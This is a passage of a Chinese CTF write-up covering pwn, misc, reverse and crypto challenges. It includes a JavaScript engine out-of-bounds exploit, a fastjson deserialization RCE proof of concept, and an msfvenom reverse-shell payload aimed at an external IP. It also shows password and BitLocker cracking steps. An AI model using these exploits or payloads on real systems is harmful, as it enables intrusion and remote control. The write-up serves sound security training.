add byte PTR [rdx+rcx*1], al
add byte PTR [rdx+rcx*1], al
''')
# padding
buf += asm('''
add cl, BYTE PTR [rdx]
''')*((0x200-len(buf))//2 - 1)
buf += asm('''
add cl, byte PTR [rdx+rax*1]
''')
buf += b"\x00\x00\x08\x01\x07\x0f\x03\x00\x00\x01\x06\x01\x0e\x08\x0a\x00\x0f\x05"
buf += b"\x00"*(0x2df-len(buf))
buf += b"\x00\x01" # rcx = 0x30f
buf += b"\x00"*(0x30f-len(buf))
buf += b"\x0f\x02\x09\x0e\x0f\x0d\x02" # /bin/sh
buf += b"\x00"*(0x30f+0x2f-len(buf))
buf += b"\x00\x02" # rcx = 0x200
buf += b"\x00"*(1000-len(buf))
s.sendline(flag+buf)
s.interactive()
### Hello_Jerry
本题将 array.shift 进行了 patch ，每一次 shift 会将 length 减 2 ，那么当 length 为 1 的时候进行一次
shift 便可以得到一个 oob array ，之后便是常规的思路： `leak elf_base -> leak libc_base -> leak
stack_base -> write ret_addr to one_gadget` 编辑exp.js
function printhex(s,u){
print(s,"0x" + u[1].toString(16).padStart(8, '0') + u[0].toString(16).padStart(8, '0'));
}
function hex(i){
return "0x" + i.toString(16).padStart(16, '0');
}
function pack64(u){
return u[0] + u[1] * 0x100000000;
}
function l32(data){
let result = 0;
for(let i=0;i<4;i++){
result <<= 8;
result |= data & 0xff;
data >>= 8;
}
return result;
}
a = [1.1];
a.shift();
var ab = new ArrayBuffer(0x1337);
var dv = new DataView(ab);
var ab2 = new ArrayBuffer(0x2338);
var dv2 = new DataView(ab2);
for(let i = 0; i < 0x90; i++){
dv2 = new DataView(ab2);
}
a[0x193] = 0xffff;
print("[+]change ab range");
a[0x32] = 0xdead;
for(let i = 0; i < 100000000; i ++){
}
var idx = 0;
for (let i = 0; i < 0x5000; i++){
let v = dv.getUint32(i, 1);
if(v == 0x2338){
idx = i;
}
}
print("Get idx!");
function arb_read(addr){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
let result = new Uint32Array(2);
result[0] = dv2.getUint32(0, 1)
result[1] = dv2.getUint32(4, 1);
return result;
}
function arb_write(addr,val){
dv.setUint32(idx + 4, l32(addr[0]));
dv.setUint32(idx + 8, l32(addr[1]));
dv2.setUint32(0, l32(val[0]));
dv2.setUint32(4, l32(val[1]));
}
var u = new Uint32Array(2);
u[0] = dv.getUint32(idx + 4, 1);
u[1] = dv.getUint32(idx + 8, 1);
print(hex(pack64(u)));
var elf_base = new Uint32Array(2);
elf_base[0] = u[0] - 0x6f5e0;
elf_base[1] = u[1];
printhex("elf_base:",elf_base);
var free_got = new Uint32Array(2);
free_got[0] = elf_base[0] + 0x6bdd0;
free_got[1] = elf_base[1];
printhex("free_got:",free_got);
var libc_base = arb_read(free_got);
libc_base[0] -= 0x9d850;
printhex("libc_base:",libc_base);
var environ_addr = new Uint32Array(2);
environ_addr[0] = libc_base[0] + 0x1ef2d0;
environ_addr[1] = libc_base[1];
printhex("environ_addr:",environ_addr);
var stack_addr = arb_read(environ_addr);
printhex("stack_addr:",stack_addr);
var one_gadget = new Uint32Array(2);
one_gadget[0] = (libc_base[0] + 0xe6c7e);
one_gadget[1] = libc_base[1];
printhex("one_gadget:",one_gadget);
stack_addr[0] -= 0x118;
arb_write(stack_addr,one_gadget);
var zero = new Uint32Array(2);
zero[0] = 0;
zero[1] = 0;
printhex("zero:",zero);
stack_addr[0] -= 0x29;
arb_write(stack_addr,zero);
print("finish");
for(let i = 0; i < 100000000; i ++){
}
编辑exp
#!/usr/bin/env python
import string
from pwn import *
from hashlib import sha256
context.log_level = "debug"
dic = string.ascii_letters + string.digits
DEBUG = 0
def solvePow(prefix,h):
for a1 in dic:
for a2 in dic:
for a3 in dic:
for a4 in dic:
x = a1 + a2 + a3 + a4
proof = x + prefix.decode("utf-8")
_hexdigest = sha256(proof.encode()).hexdigest()
if _hexdigest == h.decode("utf-8"):
return x
r = remote("127.0.0.1",9998)
r.recvuntil("sha256(XXXX+")
prefix = r.recvuntil(") == ", drop = True)
h = r.recvuntil("\n", drop = True)
result = solvePow(prefix,h)
r.sendlineafter("Give me XXXX:",result)
data = open("./exp.js","r").read()
data = data.split("\n")
for i in data:
if i == "":
continue
r.sendlineafter("code> ",i)
r.sendlineafter("code> ","EOF")
r.interactive()
### 还是你熟悉的fastjson吗
由代码可看到，依赖中使用了fastjson和org.fusesource.leveldbjni，通过这fastjosn进行反序列化，并结合leveldbjni进行rce。
找到参考文档： <https://i.blackhat.com/USA21/Wednesday-Handouts/US-21-Xing-How-I-Used-a-JSON.pdf> 以及skay小姐姐对上面议题的代码分析： <http://noahblog.360.cn/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/> 读取文件目录，获取so文件名。
需要先访问一次/test接口生成数据库和so文件，再读取文件名。
import requests
import os
import sys
import re
import string
#step1
#read /tmp/ directory to find so file
host = "http://11.1.1.18:8080"
def step1():
global host
result = []
def getArrayData(ch):
out = []
for c in result:
out.append(str(ord(c)))
out.append(str(ord(ch)))
return ','.join(out)
def poc(ch):
url = '/hello'
jsonstr = '{"abc":{"@type":"java.lang.AutoCloseable","@type":"org.apache.commons.io.input.BOMInputStream","delegate":{"@type":"org.apache.commons.io.input.ReaderInputStream","reader":{"@type":"jdk.nashorn.api.scripting.URLReader","url":"netdoc:///tmp/"},"charsetName":"utf-8","bufferSize":1024},"boms":[{"charsetName":"utf-8","bytes":[%s]}]},"address":{"$ref":"$.abc.BOM"}}'
data = {
'data': jsonstr % getArrayData(ch)
}
proxy = {'http':'127.0.0.1:8080'}
proxy = {}
rsp = requests.post(host+url, data=data, proxies=proxy)
if "bytes" in rsp.text:
return True
else:
return False
while True:
for ch in string.printable+'\r\n':
if poc(ch):
result.append(ch)
print('step1>', ''.join(result))
break
step1()
二进制文件修改分析 通过议题ppt给出的shellcode注入位置，是在文件偏移0x197b0处。
反汇编代码如下
然而这里的空间比较小，只能jump到另外的位置去，将shellcode放到空的代码区局，找起来不方便。
这里参考skay小姐姐的方法，放到如下图的函数中，将shellcode设置为反弹msf的shellcode。
生成shellcode
msfvenom -a x64 --platform Linux -p linux/x64/meterpreter/reverse_tcp LHOST=39.103.160.59 LPORT=4444 > shellcode
监听
use exploit/multi/handler
set PAYLOAD linux/x64/meterpreter/reverse_tcp
exploit -j
写文件 问题： 测试时写文件，发现文件存在，则上传的文件为.bak结尾。
但是代码中给了一段copy覆盖的代码，用来解决这个问题。 参考skay小姐姐的base64编码的方法：
<http://noahblog.360.cn/blackhat-2021yi-ti-xiang-xi-fen-xi-fastjsonfan-xu-lie-hua-lou-dong-ji-zai-qu-kuai-lian-ying-yong-zhong-de-shen-tou-li-yong-2/>
接下来就是将修改后的so文件上传并替换了，文件名为通过第一步获取到的文件名。 上传后，再次访问/test接口，触发rce。
OK，读取之到此结束。
## Misc
### login
打开页面需要登录，无账号密码，唯一可疑的只有底下的获取实例，点击发现可以获取一个提示文档，并说按照文档向 **[email protected]**
发送邮件即可获取账号。
提示文档是个zip压缩包，里面还有一个加密的压缩包，看到三个文件都被加密了，第一反应解zip伪加密。
winhex修改所有0900伪0000后，发现文件的加密符都没了但是只有示例 - 副本可以正常打开。
由于副本和原文件的原始大小一样，所以盲猜是明文攻击，这里使用winrar压缩后，校对CRC一致，满足明文攻击要求，使用ARCHPR 4.54即可
1min左右就可以跑出密码为`qwe@123`，解压出password.zip，打开看见还是加密的，想要获得管理员账号密码，但仍有加密，且不是伪加密，又看到三个txt的原始大小只有6字节，这就是典型的CRC32碰撞，github上搜crc32直接碰
得到密码`welc0me_sangforctf`，解压得到`.password.swp`，linux下执行vim -r .password.swp
即可恢复出原文件。
回网站登录，看到恭喜我得到了flag，猜测藏在了页面源码里了。
但是所有查看源码的快捷键都被禁止了，都会弹框`What are U f**king
doing!`，这里解法也不唯一，可以利用浏览器插件，也可以利用`burpsuite`，这我仅用bp举例。
### Bridge
（本题有两个故事线，实际步骤可能与此wp有所不同） 第一步：使用binwalk分析出有zlib数据，但是无法使用binwalk
-e或foremost分离出有效文件，在010editor中查看图片。
第二步：010 editor中看到最后一个IDAT数据块长度异常，导出这段zlib数据。
第三步：观察IDAT标识后面的87 9C两个字节，恢复成zlib数据头标识`78
9C`，写脚本将此段zlib数据解压缩，可得到一个rar压缩包。注意解压缩的zlib数据应该是去掉IDAT-length、IDAT-type、IDAT-crc的数据部分，即（78 9C ..... ）。
import zlib
data = open("zlib_hex_data.txt", 'r',
encoding="utf-8").read().replace(" ", "").replace("\n",
"").strip()
data_dec = zlib.decompress(bytes.fromhex(data))
print(data_dec[:100])
with open("zlib_data.rar", 'wb') as wf:
wf.write(data_dec)
#b'Rar!\x1a\x07\x01\x00J\x97,}\x0c\x01\x05\x08\x00\x07\x01\x01\x96\x9c\x87\x80\x00\xf7\xea}W\x13\x03\x02\xbd\x00\x04\xbd\x00\x00\x90:\xd1\xdc\x80\x00\x00\x03CMT\xe5\xa6\x82\xe6\x9e\x9c\xe4\xbd\xa0\xe4\xb8\x8d\xe7\x9f\xa5\xe9\x81\x93\xe8\xbf\x99\xe6\x98\xaf\xe4\xbb\x80\xe4\xb9\x88\xe4\xb8\x9c\xe8\xa5\xbf\xef\xbc\x8c\xe5\x8f\xaf\xe4\xbb\xa5\xe5\x8e\xbb\xe7\x9c\x8b
解压压缩包可得flag2，注意压缩包中有提示请先获取flag1。
第四步：继续找flag1，分析最开始的那张图片，实际使用zsteg和exiftool可以发现其他可以信息。
exiftool看到Copyright有可以十六进制：翻译过来是：dynamical-geometry。
zsteg发现这张图片除了存在extradata外，在中也有脏数据。
使用StegSolve检查隐写。
第五步：导出十六进制，这里不能直接打开图片，可使用foremost将PNG快速分离出来,最后得到一张590x590，大小为979KB的图片，注意如果仅去掉PNG字符前数据并改后缀为PNG也能正常查看图片，但会阻塞下一步分析像素操作。
第六步：到这里只有一张色彩值杂乱的PNG图片，分析其像素。
from PIL import Image
image = Image.open(r'C:\Users\during\Downloads\00000000.png')
allpixels = []
for x in range(image.width):
for y in range(image.height):
allpixels.append(image.getpixel((x, y)))
print(len(allpixels)) # 348100
print(allpixels[:4])
# [(40, 176, 80), (37, 181, 75), (1, 253, 3), (2, 252, 4)]
# 0x50 0x4B 0x03 0x04
第七步：取前四个字节即可看出，像素第三列隐藏着压缩包十六进制，批量提取并保存成zip压缩包，使用第四步得到的密码：dynamical-geometry解密，得到flag1文件。
from PIL import Image
image = Image.open(r'C:\Users\during\Downloads\00000000.png')
allpixels = []
for x in range(image.width):
for y in range(image.height):
if image.getpixel((x, y)) == (0, 0, 0):
continue
allpixels.append(image.getpixel((x, y))[2])
hex_datalist = [str(hex(i))[2:].zfill(2) for i in allpixels]
print("".join(hex_datalist)[:100])
# 504b0304140009006300caa05753d904fdb22a4b0500dce856000f000b00666c6167312d61736369692e73746c0199070001
with open("outpur.txt", 'w') as wf:
wf.write("".join(hex_datalist))
第八步：记事本打开文件后，是3D打印模型中的STL格式文件，STL格式分为ascii、binary格式，使用在线工具或开源工具查看模型即可。这一步并不需要脑洞，拷贝stl-ascii格式数据百度即可查询到STL文件格式的有关内容。
根据flag1的STL格式，将flag2也尝试用STL预览器查看：
### Disk
看文件名`zse456tfdyhnjimko0-=[;.,.vera`可以发现是用Veracrpyt加密后的文件，观察文件名发现是初级磁盘密码，根据字母按键盘能得到密码：pvd。
使用任意一个没有被使用的卷标识挂载文件，能够得到如下两个文件。
看文件头`37 7A BC
AF`可只是7z压缩包，直接解压即可（是为了尽量减少附件体积，因为bitlocker加密对分区有大小限制所以初始分区较大），得到附件gooood。
拖入010editor，发现有如下字样，能够看出是windows下的分区，或者是放到linux下使用file命令进行识别。
修改后缀为vhd，双击gooood.vhd文件发现被bitlocker加密，使用bitlocker2john结合hashcat爆一下弱密码字典，`bitlocker2john
-i gooood.vhd`,然后将User Password
hash的值保存成hash.txt，将弱密码的字典放到passwd.txt，使用`hashcat -m 22100 hash.txt passwd.txt
--show`爆出密码:abcd1234。
用`abcd1234`解密bitlocker加密的分区，打开之后是空的，使用diskgenius挂载分区，可以在隐藏分区的回收站里找到提示和附件。
打开文本文档发现hint是3389,即提示黑客使用远程桌面连接到了受害者主机看到了flag，这里有个知识点是关于：rdp协议默认开启位图缓存功能，会产生bmc文件，使用bmc-tool或者BMC Viewer能够恢复出缓存的图像。
清晰可见: cmRwY2FjaGUtYm1j,解密baset64即为flag:SangFor{rdpcache-bmc}。
### flow hunter
1.首先要在众多流量中甄别出DNS流量中隐藏有关键信息，普通流量中DNS流量不会有这么多，其次也可以通过全局搜索secret关键字找到提示`becareful_rainbow`,根据rainbow关键词可以发现，DNS流量中请求了非常多域名后缀为`rainbow.bubble`的流量。
通过过滤:`tcp and frame contains "secret"`可以找到TRUESECRET。
2.这一步可以使用脚本提取，也可以使用tshark命令提取全部的dns.qry.name，`tshark -Y misc3.pcap -T fields
-e dns.qry.name -r 'udp.dstport==53' >
domain.txt`可将DNS中所有解析的域名存放于domain.txt中，删除所有的`43.9.227.10.in-addr.arpa`即可得到纯净的域名请求记录。
3.脚本提取二级域名前缀，组成十六进制保存成PNG图片可以得到一张二维码（datamatrix格式）。
`print("".join([j.split(".")[1] for j in [i.strip() for i in
open(r"domain.txt",'r').readlines() if i is not "\n"]]))`
然后将十六进制放到010editor中保存为PNG，然后解码：
4.观察的到的秘钥`ecb_pkcs7`可知是AES加密，用这个秘钥去解密搜索关键词secret得到的密文（密文有五段，组合起来urldecode即可解密），得到sslkey.log，需要选定模式为：ECB-pkcs7-256
第一段密文
AES解密
5.得到日志后导入wireshark解密https的流量
## Reverse
### Press
IDA打开分析主函数，如图：
程序先读取一个名为flag的文件，进行一系列计算后输出附件所示的out程序，容易分析出核心算法即为sub_40094B，分析此函数。
利用case中的字符，能够从公开网络中大致查出这类似于brainfuck语言，但有所扩展使得我们不能直接利用开源工具计算结果。
strcpy中的字符串即为类brainfuck的操作码，从上面的函数看，这段代码的含义大致为：读取一个字符，用160减去此字符，所得的结果再乘5，加2，输出到结果中。
利用out逐字节反算，可以得到一组base64值。
解base64即为flag。
### Lithops
1.首先运行程序尝试输入，根据运行结果可以猜测存在一个值与输入的(经过运算后)flag进行比对。
2.程序的主函数并不复杂，在IDA里面查看一下反编译后的C代码。
可以看出比较关键的内容是sub_402970、sub_402900和sub_4028A0函数，以及v3、v9、v10和v7参数，再直接查看反汇编代码可以看出v7为用户输入的flag。
3.查看一下sub_4028A0函数，我们知道dword_xxxxxx表示地址为xxxxxx的32位数据，这里被当作函数来使用。
使用交叉引用查看一下，其在sub_401010函数中被赋值，该值由sub_4055A0函数通过红框中的两个参数计算而得。
再对dword_433C58使用交叉引用，对经验的应该可以看出这段代码是获取kernel32.dll的基址。
那么，知道API HASH技术的应该可以猜测到sub_4055A0函数主要用于根据模块基址和HASH寻找对应的API函数。 4.sub_402900
5.sub_402970
可以看出类似的情况分别出现在了sub_402900和sub_402970函数中，所有使用到的API函数都被隐藏了，这种情况下，我们可以采用动态调试。
在动态调试前，我们先明确这里存在一个值用于验证其输入的flag是否正确，通过上述内容可以看出这个值应该是输入的flag经过计算后的结果，我们的首要目标应该是寻得该值，并根据该值逆推flag。
6.sub_4028A0动态分析
可以看出在sub_4028A0函数中主要是用到的是MultiByteToWideChar函数，调试并根据参数还原该段代码，应该为：
void gb2312ToUnicode(const string& src, wstring& result)
{
int n = kMultiByteToWideChar(CP_ACP, 0, src.c_str(), -1, NULL, 0);
result.resize(n);
kMultiByteToWideChar(CP_ACP, 0, src.c_str(), -1, (LPWSTR)result.c_str(), result.length());
}
7.sub_402900动态分析
可以看出在sub_402900函数中主要用到的是WideCharToMultiByte函数，调试并根据参数还原该段代码，应该为：
void unicodeToUTF8(const wstring& src, string& result)
{
int n = kWideCharToMultiByte(CP_UTF8, 0, src.c_str(), -1, 0, 0, 0, 0);
result.resize(n);
kWideCharToMultiByte(CP_UTF8, 0, src.c_str(), -1, (char*)result.c_str(), result.length(), 0, 0);
}
8.根据上述内容，我们可以知道程序会把输入的flag进行utf-8编码，并传入sub_402970函数验证。
sub_402970函数中主要使用到的API为GetModuleHandleA、lstrcpyA和lstrcmpA，该函数会从.rsrc节中获取用于验证flag正确性的值，即“E4
B8 8D E5 81 9A E4 BC 9F E5 A4 A7 E6 97 B6 E4 BB A3 E7 9A 84 E6 97 81 E8 A7 82
E8 80 85 0”。
到这一步，我们其实比较明确，该程序只是将输入进行utf-8编码，并与隐藏在.rsrc节中的key进行对比验证，根据该key我们写出writeup。
void unicodeToGB2312(const wstring& wstr, string& result)
{
int n = WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, 0, 0, 0, 0);
result.resize(n);
::WideCharToMultiByte(CP_ACP, 0, wstr.c_str(), -1, (char*)result.c_str(), n, 0, 0);
}
void utf8ToUnicode(const string& src, wstring& result)
{
int n = MultiByteToWideChar(CP_UTF8, 0, src.c_str(), -1, NULL, 0);
result.resize(n);
::MultiByteToWideChar(CP_UTF8, 0, src.c_str(), -1, (LPWSTR)result.c_str(), result.length());
}
int main(int argc, char** agrv)
{
string strGB2312;
wstring wstrUnicode;
char key[] = "\xE4\xB8\x8D\xE5\x81\x9A\xE4\xBC\x9F\xE5\xA4\xA7\xE6\x97\xB6\xE4\xBB\xA3\xE7\x9A\x84\xE6\x97\x81\xE8\xA7\x82\xE8\x80\x85\x00";
utf8ToUnicode(key, wstrUnicode);
unicodeToGB2312(wstrUnicode, strGB2312);
return 0;
}
得到flag。
验证。
### XOR
IDA打开，发现目标程序进行了混淆，进一步分析，可以知道使用了ollvm进行了混淆。
使用工具中的deflat.py脚本，去除混淆的代码。 `python deflat.py shift_exercise 0x401170`
去除之后，生成shift_exercise_recovered文件，IDA继续分析，仍然存在无用的控制流程。
进一步使用IDA插件script.py进行处理，获得更为直观的伪代码。
分析伪代码可以知道，该算法为修改过的crc64算法，依据加密算法，写出解密算法。
def multiply(multiplier_a, multiplier_b):
tmp = [0] * 64
res = 0
for i in range(64):
tmp[i] = (multiplier_a << i) * ((multiplier_b >> i) & 1)
res ^= tmp[i]
return res
def find_highest_bit(value):
i = 0
while value != 0:
i += 1
value >>= 1
return i
def divide(numerator, denominator):
quotient = 0
tmp = numerator
bit_count = find_highest_bit(tmp) - find_highest_bit(denominator)
while bit_count >= 0:
quotient |= (1 << bit_count)
tmp ^= (denominator << bit_count)
bit_count = find_highest_bit(tmp) - find_highest_bit(denominator)
remainder = tmp
return quotient, remainder
def reverse(x, bits):
bin_x = bin(x)[2:].rjust(bits, '0')
re_bin_x = bin_x[::-1]
return int(re_bin_x, 2)
cipher = [0x32e9a65483cc9671, 0xec92a986a4af329c, 0x96c8259bc2ac4673,
0x74bf5dca4423530f, 0x59d78ef8fdcbfab1, 0xa65257e5b13942b1]
res = b""
for a in cipher:
d = 0xb1234b7679fc4b3d
rr = reverse(a, 64)
rd = reverse((1 << 64) + d, 65)
q, r = divide(rr << 64, rd)
r = reverse(r, 64)
for i in range(8):
res += bytes([r & 0xff])
r >>= 8
print(res)
print(res.decode())
### 生瓜蛋子
IDA打开，分析主函数可以较容易的分析出所需的输入是Sangfor{30位hex}，然后按照Label11所述的逻辑进行判定：
上图中，duihua5是虚拟机逻辑通过（此处的虚拟机详见后文）但md5不正确的情况，duihua4是二者都正确的情况，但是上面的伪代码由于花指令的存在，不完全正确。
接下来的部分无法在F5中得到，但是可以基于汇编从text view得到，这部分十六进制字符的部分值得注意：
目前无法得到关于这些字符如何使用的信息，动态调试时，关注这部分地址（403xxx），可以分析出这是一个虚拟机，其中： \+
最后的64个字符为opcode，这64个字节中前面32个决定偏移，后面32个决定计算方式。 \+
计算方式包括模加，模减，模乘和异或，4种计算方法，32个字节中的前30个分别对30位输入决定，因为是16进制，可以分析出高4位决定一种，低4位决定一种，两种计算分别进行，存在于两个变量中。
（图为强行nop掉花指令后得到的结构） \-偏移值决定输入是与前面30*32的十六进制数的哪一位做运算，第一种运算是：第i位与第i行的第x位（x受偏移值控制，最大为15）进行计算，第二种运算是：第i位与第i行的第15+x位做运算，两个结果都是与第i行最后一位比较，有一个相等即可完成检查。
* 据此可以写爆破脚本，得到每一位的可行值
不计md5的逻辑，可行的flag可以由以下脚本爆破得到，修改md5值可得到多个文件，使用任何cpp编译器编译可得到文件。
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include <stdint.h>
#include<Windows.h>
unsigned char gua[64];
unsigned char table[32][33] = {
"f686bee4665fa77525e0f784097f4b3f",
"8ec4b805f93e9edd178818b3993e4a5d",
"4edb219c1f7dcf6dfb5c471a1f44ffa5",
"bd244ed81f96aef43ea55704085af9b4",
"594537dc31688cc4ef722bacdfac518e",
"91f800e6787c42f26e939a391c398ec6",
"69cf503c8cadc12176e791c6615bd704",
"8b1b9b88692d3804b9710a72ae458843",
"fe77fb82cf016df3913ed002bccb7d6d",
"711453fe706aed138823de8dcbf2fc38",
"4f027901b70a595828647b3a1407078e",
"5be1878d4e222009f13a3aacb2192861",
"3109983436e0eebe2b5c5a5e3d668c6b",
"6b33b28e18d6d9f0db4688cfad20ccbe",
"b47b71f489033446d3d9f097060e33ec",
"28d0871eb3f67152d8aa820500ddeabc",
"df51b921388b8032190cf0a3760e6fb6",
"85f7c2f7689bbf43965d120e3e7d4989",
"2d291f1367021787efb4a9bf3a204a92",
"7caf326155610f1b827a16e31cb9e04d",
"026910fc9c1aee91868e39dc5c0a3828",
"6f6dd1338d58da08a6c3a5ac28e73728",
"9555bb8ef33de07ed414521b30d1ce1f",
"f45c235edf62094bbbdd63a7b8c6dbc3",
"db2b5f869cc8517f596a4cd182a812e7",
"c6cf507b8a27e604a04d999ad8b9c5b4",
"5292154eb9e144201ec8e87dbb49769f",
"e6f55bc893978043e128015cc02b0197",
"cf727d37d5347f6573f3c82b1cc36287",
"7f1412d1f3e82f7335d19fa944c368ed",
"c3fe545e249ef80f5327d01be270c784",
"5ccd45379ddf5c9be0654e88c6984c83" };
int hex2int(char h) {
if (h >= '0'&&h <= '9') {
return h - '0';
}
else if (h >= 'a'&&h <= 'f') {
return h - 'a' + 10;
}
else {
return 0;
}
}
char int2hex(int x) {
char t[] = "0123456789abcdef";
return t[x];
}
int modplus(int a, int b) {
return (a + b) % 16;
}
int modminus(int a, int b) {
return (16 + a - b) % 16;
}
int modmult(int a, int b) {
return (a*b) % 16;
}
int modxor(int a, int b) {
return (a^b) % 16;
}
int onechange(int index, int k) {
int p1, p2;
int g1, g2;
g1 = hex2int(table[31][index]) / 4;
g2 = hex2int(table[31][index]) % 4;
if (g1 == 0) {
p1 = modplus(k, hex2int(table[index][hex2int(table[30][index])]));
}
else if (g1 == 1) {
p1 = modminus(k, hex2int(table[index][hex2int(table[30][index])]));
}
else if (g1 == 2) {
p1 = modmult(k, hex2int(table[index][hex2int(table[30][index])]));
}
else if (g1 == 3) {
p1 = modxor(k, hex2int(table[index][hex2int(table[30][index])]));
}
if (g2 == 0) {
p2 = modplus(k, hex2int(table[index][hex2int(table[30][index]) + 15]));
}
else if (g2 == 1) {
p2 = modminus(k, hex2int(table[index][hex2int(table[30][index]) + 15]));
}
else if (g2 == 2) {
p2 = modmult(k, hex2int(table[index][hex2int(table[30][index]) + 15]));
}
else if (g2 == 3) {
p2 = modxor(k, hex2int(table[index][hex2int(table[30][index]) + 15]));
}
if (p1 == hex2int(table[index][31]) || p2 == hex2int(table[index][31])) {
return 1;
}
else {
return 0;
}
}
int main() {
char input[64]="Sangfor{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}";
int li = strlen(input);
for (int i = 0; i < li; i++) {
if (i < 8) {
}
else if (i == li - 1) {
}
else {
for (int t = 0; t < 16; t++) {
input[i] = int2hex(t);
int u = onechange(i - 8, hex2int(input[i]));
if (u == 1) {
printf("%d %c\n",i-8,int2hex(t));
}
}
}
}
system("pause");
}
得到的结果如下：
0 9 e
1 5 9
2 8 b
3 b d
4 5 c
5 6 9
6 4 d
7 3 b
8 b e
9 b d
10 9 f
11 1 9
12 1 9
13 f
14 2 4
15 6 7 e
16 a f
17 2 4
18 4 e
19 b e
20 5 6
21 1 3 5 7 9 b d e f
22 2 3
23 7
24 0 5
25 0
26 6
27 4
28 4 e
29 3 c
此为每一位的可行值，逐位爆破，共计有种不同的flag，选择一个flag并将md5值写在题目中即可实现多文件。
基于以上爆破结果，此脚本即可完成功能。
import hashlib
p01=['95','e5','99','e9']
p23=['8b','bb','8d','bd']
p45=['56','c6','59','c9']
p67=['43','d3','4b','db']
p89=['bb','eb','bd','ed']
p10=['91','f1','99','f9']
p12=['1f','9f']
p14=['2','4']
p15=['6','7','e']
p16=['a2','f2','a4','f4']
p18=['4b','eb','4e','ee']
p20=['5','6']
p21=['1','3','5','7','9','b','d','e','f']
p22=['27','37']
p24=['0064','5064']
p28=['4','e']
p29=['3','c']
str = 'Sangfor{'
for a01 in range(len( p01 )):
for a23 in range(len( p23 )):
for a45 in range(len( p45 )):
for a67 in range(len( p67 )):
for a89 in range(len( p89 )):
for a10 in range(len( p10 )):
for a12 in range(len( p12 )):
for a14 in range(len( p14 )):
for a15 in range(len( p15 )):
for a16 in range(len( p16 )):
for a18 in range(len( p18 )):
for a20 in range(len( p20 )):
for a21 in range(len( p21 )):
for a22 in range(len( p22 )):
for a24 in range(len( p24 )):
for a28 in range(len( p28 )):
for a29 in range(len( p29 )):
str = 'Sangfor{'+p01[a01]+p23[a23]+p45[a45]+p67[a67]+p89[a89]+p10[a10]+p12[a12]+p14[a14]+p15[a15]+p16[a16]+p18[a18]+p20[a20]+p21[a21]+p22[a22]+p24[a24]+p28[a28]+p29[a29]+'}'
mk=hashlib.md5(bytes(str,"utf8")).hexdigest()
if mk[0:10]=='16f6d95849':
print(str+':')
print(mk)
部分花絮：
题目初次制作时，命题人发现题目的伪代码缺失了虚拟机的部分，但是单步调试又能发现虚拟机的逻辑确实存在，经过仔细辨认，这部分逻辑入口处存在一些花指令，干扰了ida的判断，将其注释掉或强行动态跟踪入口，都是可行的。后来发现是VS2017编译时自动优化导致汇编代码类似花指令导致的。
IDA打开，分析主函数可以较容易的分析出所需的输入是Sangfor{30位hex}，然后按照Label11所述的逻辑进行判定：
接下来的部分无法在F5中得到，但是可以基于汇编从text view得到，这部分十六进制字符的部分值得注意：
目前无法得到关于这些字符如何使用的信息，动态调试时，关注这部分地址，可以分析出这是一个虚拟机，其中： \-最后的64个字符为opcode，这64个字节中前面32个决定偏移，后面32个决定计算方式 \-计算方式包括模加，模减，模乘和异或，4种计算方法，32个字节中的前30个分别对30位输入决定，因为是16进制，可以分析出高4位决定一种，低4位决定一种，两种计算分别进行，存在于两个变量中
\-偏移值决定输入是与前面30*32的十六进制数的哪一位做运算，第一种运算是：第i位与第i行的第x位（x受偏移值控制，最大为15）进行计算，第二种运算是：第i位与第i行的第15+x位做运算，两个结果都是与第i行最后一位比较，有一个相等即可完成检查
\- 据此可以写爆破脚本，见“题目制作过程”得到每一位的可行值 \- 基于以上爆破结果，此脚本即可完成功能
import hashlib
p01=['95','e5','99','e9']
p23=['8b','bb','8d','bd']
p45=['56','c6','59','c9']
p67=['43','d3','4b','db']
p89=['bb','eb','bd','ed']
p10=['91','f1','99','f9']
p12=['1f','9f']
p14=['2','4']
p15=['6','7','e']
p16=['a2','f2','a4','f4']
p18=['4b','eb','4e','ee']
p20=['5','6']
p21=['1','3','5','7','9','b','d','e','f']
p22=['27','37']
p24=['0064','5064']
p28=['4','e']
p29=['3','c']
str = 'Sangfor{'
for a01 in range(len( p01 )):
for a23 in range(len( p23 )):
for a45 in range(len( p45 )):
for a67 in range(len( p67 )):
for a89 in range(len( p89 )):
for a10 in range(len( p10 )):
for a12 in range(len( p12 )):
for a14 in range(len( p14 )):
for a15 in range(len( p15 )):
for a16 in range(len( p16 )):
for a18 in range(len( p18 )):
for a20 in range(len( p20 )):
for a21 in range(len( p21 )):
for a22 in range(len( p22 )):
for a24 in range(len( p24 )):
for a28 in range(len( p28 )):
for a29 in range(len( p29 )):
str = 'Sangfor{'+p01[a01]+p23[a23]+p45[a45]+p67[a67]+p89[a89]+p10[a10]+p12[a12]+p14[a14]+p15[a15]+p16[a16]+p18[a18]+p20[a20]+p21[a21]+p22[a22]+p24[a24]+p28[a28]+p29[a29]+'}'
mk=hashlib.md5(bytes(str,"utf8")).hexdigest()
if mk[0:10]=='16f6d95849':
print(str+':')
print(mk)
## **Crypto**
### SinCipher
1.拿到文件用binwalk跑啥也没有。
2.用strings看有很多无意义的字符串，限制长度后，可以看到如下字符，获取到加密的iv和密文了，猜测有pyc文件，版本为3.8.2。
$ strings -8 memdump
expect python 3.8.2c
z+SinCipher.gen_round_key.<locals>.<listcomp>r
SinCipher.gen_round_key
z'SinCipher.sub_trans.<locals>.<listcomp>r
SinCipher.sbox_trans)
__encrypt_oneD
SinCipher.__encrypt_onec
z%SinCipher.encrypt.<locals>.<listcomp>r
_SinCipher__encrypt_one)
<module>
{"iv": "8e9313ce03257990eb5c019f97afe2aa4ceb27ac327f4493f300bffe3fb94dc8", "cipher": "c732f791dde0a9e7819da08462e9e767b43df88b8e450d2d63e076fd0f32fe6a51e7fbcc220f4c7b30"}
......
3.根据版本号与pyc的结构，定位到pyc的起始位置为0x19020：
1:9020h 55 0D 0D 0A 00 00 00 00 0C F2 67 61 5E 13 00 00
1:9030h E3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
1:9040h 00 04 00 00 00 40 00 00 00 73 76 00 00 00 64 00
1:9050h 64 01 6C 00 5A 00 64 00 64 01 6C 01 5A 01 64 00
1:9060h 64 01 6C 02 5A 02 64 00 64 01 6C 03 5A 03 64 00
